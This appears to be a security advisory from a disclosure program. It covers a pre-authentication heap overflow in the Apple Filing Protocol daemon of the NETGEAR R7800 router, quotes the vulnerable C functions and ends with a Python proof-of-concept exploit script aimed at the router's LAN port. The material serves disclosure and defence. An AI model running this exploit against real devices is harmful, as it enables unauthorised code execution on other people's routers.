TL;DR
A vulnerability in NETGEAR AFPD, Apple Filing Protocol daemon, process allows LAN side attackers to cause the product to overflow a buffer due to a pre-auth vulnerability.
Vulnerability Summary
A heap-buffer overflow in afpdʼs dsi_writeinit
is leveraged to overwrite the proto_close
function pointer in the DSI struct, and execute arbitrary code on the NETGEAR R7800 Smart Router, in the default configuration, on the LAN side, pre-auth.
Credit
An independent security researcher has reported this to the SSD Secure Disclosure program.
Affected Versions
NETGEAR R7800 (V1.0.2.90)
Technical Analysis
The core vulnerability lies within afpdʼs dsi_writeinit
function:
size_t dsi_writeinit(DSI * dsi, void * buf,
const size_t buflen U) {
size_t len, header;
/* figure out how much data we have. do a couple checks for 0
* data */
header = ntohl(dsi -> header.dsi_code);
dsi -> datasize = header ? ntohl(dsi -> header.dsi_len) - header : 0;
if (dsi -> datasize > 0) {
len = MIN(sizeof(dsi -> commands) - header, dsi -> datasize);
/* write last part of command buffer into buf */
memcpy(buf, dsi -> commands + header, len);
/* recalculate remaining data */
dsi -> datasize -= len;
} else
len = 0;
return len;
}
In this function, buf is intended to be filled by the user-provided “dsi” buffer. “dsi” is completely attacker controlled. Here, the dsi->header.dsi_code
can be set to an unexpectedly large value, and dsi_len
can be set to an arbitrary value, so we are able to write from nearly arbitrary locations in “dsi” to nearly arbitrary length of “buf”. We use this bug to overwrite the proto_close
member of the DSI struct, which is a function pointer called on close, and we can set up part of value of DSI structure here:
int dsi_stream_receive(DSI * dsi, void * buf,
const size_t ilength,
size_t * rlength) {
char block[DSI_BLOCKSIZ];
LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: %u bytes", ilength);
if (dsi -> flags & DSI_DISCONNECTED)
return 0;
/* read in the header */
if (dsi_buffered_stream_read(dsi, (u_int8_t * ) block, sizeof(block)) !=
sizeof(block))
return 0;
dsi -> header.dsi_flags = block[0];
dsi -> header.dsi_command = block[1];
/* FIXME, not the right place,
but we get a server disconnect without reason in the log
*/
if (!block[1]) {
LOG(log_error, logtype_dsi, "dsi_stream_receive: invalid packet,
fatal ");
return 0;
}
memcpy( & dsi -> header.dsi_requestID, block + 2,
sizeof(dsi -> header.dsi_requestID));
memcpy( & dsi -> header.dsi_code, block + 4, sizeof(dsi -> header.dsi_code));
memcpy( & dsi -> header.dsi_len, block + 8, sizeof(dsi -> header.dsi_len));
memcpy( & dsi -> header.dsi_reserved, block + 12,
sizeof(dsi -> header.dsi_reserved));
dsi -> clientID = ntohs(dsi -> header.dsi_requestID);
/* make sure we don't over-write our buffers. */
* rlength = min(ntohl(dsi -> header.dsi_len), ilength);
if (dsi_stream_read(dsi, buf, * rlength) != * rlength)
return 0;
return block[1];
}
Vendor Response
The vendor has issued a patch on the 6th of November 2022, but has not provided us with any reference to which of its advisories it is, or what firmware version has fixed the vulnerability.
Exploit
import socket
import struct
HOST, PORT = '192.168.1.1', 548
def connect():
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
def create_block(command, dsi_code, dsi_len):
block = b'\x00' # dsi->header.dsi_flags
block += struct.pack("<B", command) # dsi->header.dsi_command
block += b'\x00\x00' # dsi->header.dsi_requestID
block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
return block
def main():
connect()
pkt = create_block(0x4, 0x0, 0x1)
pkt += b'\x00'
pkt += create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192
sock.send(pkt)
if __name__=='__main__':
main()